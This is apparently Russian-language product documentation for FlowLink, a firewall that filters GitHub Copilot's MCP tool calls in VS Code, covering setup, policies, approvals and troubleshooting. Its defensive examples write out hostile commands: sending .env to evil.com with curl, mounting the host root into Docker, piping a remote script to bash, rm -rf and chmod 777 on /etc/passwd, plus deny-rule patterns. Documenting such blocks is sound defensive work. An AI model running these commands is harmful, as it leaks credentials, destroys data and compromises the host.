Защита GitHub Copilot с помощью FlowLink
Маршрутизируйте все MCP-вызовы Copilot через FlowLink — runtime AI firewall для безопасного выполнения команд
~6 мин чтения
Обзор
GitHub Copilot — самый распространённый AI-ассистент для разработчиков. В VS Code Copilot может не только предлагать автодополнения, но и выполнять команды через терминал, редактировать файлы и вызывать MCP-инструменты. Это создаёт реальный вектор атаки: Copilot может предложить команду, которая удалит данные, скомпрометирует credentials или развернёт вредоносный контейнер.
FlowLink интегрируется как MCP-сервер в VS Code, перехватывая все вызовы Copilot к инструментам. Каждый вызов проходит через 7-уровневый Shield, который блокирует опасные команды, запрашивает одобрение для сомнительных и пропускает безопасные.
✓ Copilot продолжает работать как обычно
FlowLink невидим для Copilot — он просто получает более безопасные результаты выполнения команд. Никаких изменений в workflow.
⚠ Зачем это нужно?
Исследования показывают, что AI-ассистенты могут генерировать небезопасные команды. FlowLink обеспечивает runtime-защиту, даже если модель создала опасный промпт-инъекцией или data exfiltration.
Установка
1. Установите FlowLink CLI
1# macOS / Linux2curl -fsSL https://get.flowlink.dev | bash34# или через Homebrew5brew install flowlink-relay67# проверка8flowlink-relay --version
2. Зарегистрируйте агента
1flowlink-agent register --name "copilot-workspace" --env development
FlowLink автоматически создаст уникальный agent_id и сохранит его локально.
3. Настройте VS Code для Copilot MCP
GitHub Copilot в VS Code использует настройки MCP из settings.json:
Для одного проекта (workspace settings):
1// .vscode/settings.json2{3 "mcp.servers": {4 "flowlink": {5 "command": "flowlink-relay",6 "args": ["mcp"]7 }8 }9}
Для всех проектов (глобальные настройки):
1// macOS / Linux2// ~/.config/Code/User/settings.json3//4// Windows5// %APPDATA%\Code\User\settings.json67{8 "mcp.servers": {9 "flowlink": {10 "command": "flowlink-relay",11 "args": ["mcp"],12 "env": {13 "FLOWLINK_API_KEY": "flk_live_..."14 }15 }16 }17}
4. Перезапустите VS Code
После настройки MCP-сервера перезапустите VS Code, чтобы Copilot обнаружил FlowLink. Вы увидите FlowLink в списке MCP-серверов в панели Copilot.
Конфигурация
Полная секция MCP в settings.json
1{2 "mcp.servers": {3 "flowlink": {4 "command": "flowlink-relay",5 "args": ["mcp"],6 "env": {7 // Обязательные8 "FLOWLINK_API_KEY": "flk_live_abc123...",910 // Опциональные11 "FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",12 "FLOWLINK_AGENT_NAME": "copilot-workspace",13 "FLOWLINK_LOG_LEVEL": "info",14 "FLOWLINK_MODE": "auto"15 }16 }17 }18}
Переменные окружения
| Переменная | Описание | По умолчанию |
|---|---|---|
FLOWLINK_API_KEY | API ключ для аутентификации | Обязательная |
FLOWLINK_RELAY_URL | URL relay сервера | https://relay.flow-masters.ru:9081 |
FLOWLINK_AGENT_NAME | Имя агента (для логов и политик) | copilot-workspace |
FLOWLINK_LOG_LEVEL | Уровень логирования | info |
FLOWLINK_MODE | Режим: auto | soft-ask | hard-ask | auto |
Создание API ключа
1# Создать API ключ с нужными scopes2curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \3 -H "Authorization: Bearer YOUR_JWT_TOKEN" \4 -H "Content-Type: application/json" \5 -d '{6 "name": "copilot-prod",7 "scopes": ["agents:write", "commands:read", "approvals:write"]8 }'
API ключ можно также создать в Dashboard → API Keys.
Как это работает
Архитектура потока запросов
Copilot генерирует код или предложение с командой (shell, npm install, docker run и т.д.)
VS Code передаёт вызов в MCP-сервер FlowLink через stdio JSON-RPC
FlowLink направляет команду на relay для анализа через 7-уровневый Shield
Shield анализирует: L1 (Docker escape) → L2 (Exfiltration) → L3 (Injection) → L4 (Destructive) → L5 (Privilege) → L6 (Network) → L7 (Custom rules)
Policy engine принимает решение: ALLOW → немедленное выполнение, ASK → запрос одобрения, DENY → блокировка
Результат выполнения (или причина блокировки) возвращается через MCP в Copilot
7 уровней Shield
Обнаружение mount хостовой ФС, privileged-режима
Отправка данных (.env, credentials) на внешние хосты
SQL-инъекции, command injection через переменные
rm -rf, drop table, форматирование дисков
sudo, chmod 777, chown root
Подключение к подозрительным хостам и портам
Пользовательские regex-правила и политики
Что блокируется
Copilot обучен на миллионах репозиториев и иногда предлагает команды, которые опасны в контексте вашего проекта. Вот реальные примеры того, что FlowLink перехватывает:
Docker host escape
docker run -v /:/host -it alpine shMount хостовой файловой системы в контейнер — полный доступ к машине
Exfiltration credentials
cat .env | curl -X POST https://evil.com/configПерехват .env и отправка на внешний сервер
Удаление данных
rm -rf /app/data /var/log/*Рекурсивное удаление директорий с данными
Privilege escalation
sudo chmod 777 /etc/passwdПовышение привилегий и изменение системных файлов
Скачивание и выполнение неизвестного кода
curl https://sketchy-script.sh | bashPipeloading — выполнение кода из ненадёжного источника
SQL injection через sed
sed -i 's/password/12345/' config.phpМодификация credentials в конфигурационном файле
23%
команд Copilot содержат потенциально опасные паттерны
<1ms
средняя задержка анализа для безопасных команд
7
уровней защиты Shield
Inline Warnings
Когда FlowLink обнаруживает подозрительную, но не критичную команду, он возвращает warning через MCP. Copilot отображает его как inline-уведомление в редакторе — прямо рядом с предложенным кодом.
Пример inline warning в VS Code
MCP response с warning
1{2 "jsonrpc": "2.0",3 "id": 1,4 "result": {5 "content": [{6 "type": "text",7 "text": "Команда выполнена с предупреждением: npm prune удалит devDependencies"8 }],9 "isError": false,10 "meta": {11 "decision": "ALLOW_WITH_WARNING",12 "warning": "Деструктивная операция: удаление пакетов",13 "shield_level": "L4"14 }15 }16}
Approvals — Human-in-the-Loop
Для операций, которые нельзя ни заблокировать, ни пропустить автоматически, FlowLink использует механизм одобрения. Команда приостанавливается, а вы получаете уведомление в Telegram или Dashboard.
Уведомление в Telegram
FlowLink Approval Request
@your_bot
Команда от Copilot:
docker run --privileged -v /:/host alpine shРежимы одобрения
Auto
Безопасные команды выполняются мгновенно. Опасные блокируются автоматически.
Лучше для development
Soft Ask
Подозрительные команды ждут одобрения 5 минут. Если нет ответа — выполняются с warning.
Лучше для staging
Hard Ask
Все команды, кроме белого списка, требуют одобрения. Без ответа — блокируются.
Лучше для production
Примеры сценариев
Реальные ситуации, когда Copilot может предложить опасную команду:
Copilot предлагает развернуть Docker контейнер для тестирования
docker run -v /:/host -it alpine shCopilot генерирует скрипт для установки зависимостей
npm install express axiosCopilot предлагает очистить старые логи для освобождения места
rm -rf /var/log/app.logCopilot генерирует код для отправки конфигурации на сервер
cat .env | curl -X POST https://api.example.com/configCopilot предлагает pip install с известной уязвимостью
pip install pickle==0.0.1Copilot предлагает создать git branch и push
git checkout -b feat/auth && git push origin feat/authCopilot хочет записать secrets в конфиг
echo 'DB_PASSWORD=root' >> .envСравнение: Copilot с/без FlowLink
| Сценарий | Без FlowLink | С FlowLink |
|---|---|---|
| Copilot предлагает docker run -v /:/host | Выполняется → компрометация | Блокируется L1 → alert |
| Copilot генерирует rm -rf /app/data | Выполняется → потеря данных | Требует одобрения → Telegram |
| Copilot предлагает npm install | Выполняется | Выполняется (allowed) |
| Copilot читает .env и отправляет extern | Выполняется → утечка | Блокируется L2 → alert |
| Copilot скачивает скрипт через curl | bash | Выполняется → pipeloading | Блокируется L6 → alert |
Политика для Copilot
Создайте политику специально для Copilot агента:
1# Создать политику для Copilot2curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \3 -H "Content-Type: application/json" \4 -d '{5 "name": "GitHub Copilot",6 "description": "Правила для команд, генерируемых Copilot"7 }'89# Добавить правила10curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \11 -H "Content-Type: application/json" \12 -d '{13 "rule_type": "allow",14 "pattern": "npm install *",15 "priority": 10016 }'1718curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \19 -H "Content-Type: application/json" \20 -d '{21 "rule_type": "deny",22 "pattern": "*rm -rf *",23 "priority": 20024 }'2526# Привязать к агенту27curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/bind \28 -H "Content-Type: application/json" \29 -d '{30 "policy_id": "...",31 "agent_id": "copilot-workstation"32 }'
Troubleshooting
Частые проблемы при интеграции FlowLink с Copilot в VS Code:
⚠️ MCP сервер не обнаруживается Copilot
Проверьте, что flowlink-relay установлен и доступен в PATH. Перезапустите VS Code. Убедитесь, что секция "mcp.servers" корректна в settings.json.
which flowlink-relay-relay && flowlink-relay --version⚠️ Команды выполняются, но не анализируются
Убедитесь, что агент зарегистрирован и подключён к relay. Проверьте статус агента.
flowlink-agent status⚠️ Ошибки аутентификации
Проверьте FLOWLINK_API_KEY в env секции MCP конфига. Убедитесь, что ключ активен и не истёк.
flowlink-relay api-keys list⚠️ Copilot игнорирует блокировку FlowLink
Copilot может предложить альтернативные команды. Проверьте логи в Dashboard и при необходимости добавьте правила в политику.
flowlink-relay logs --agent copilot-workspace --last 1h⚠️ Задержки при выполнении команд
Проверьте подключение к relay. При использовании HTTP транспорта убедитесь, что сервер географически близок.
flowlink-relay ping relay.flow-masters.ru:9081⚠️ Copilot показывает ошибку "tool not found"
Убедитесь, что Copilot включён и MCP-сервер загружен. Откройте Output → Copilot в VS Code для диагностики.
⚠️ Telegram уведомления не приходят
Проверьте подключение Telegram бота в Dashboard → Integrations. Убедитесь, что ваш chat_id привязан.
flowlink-relay telegram test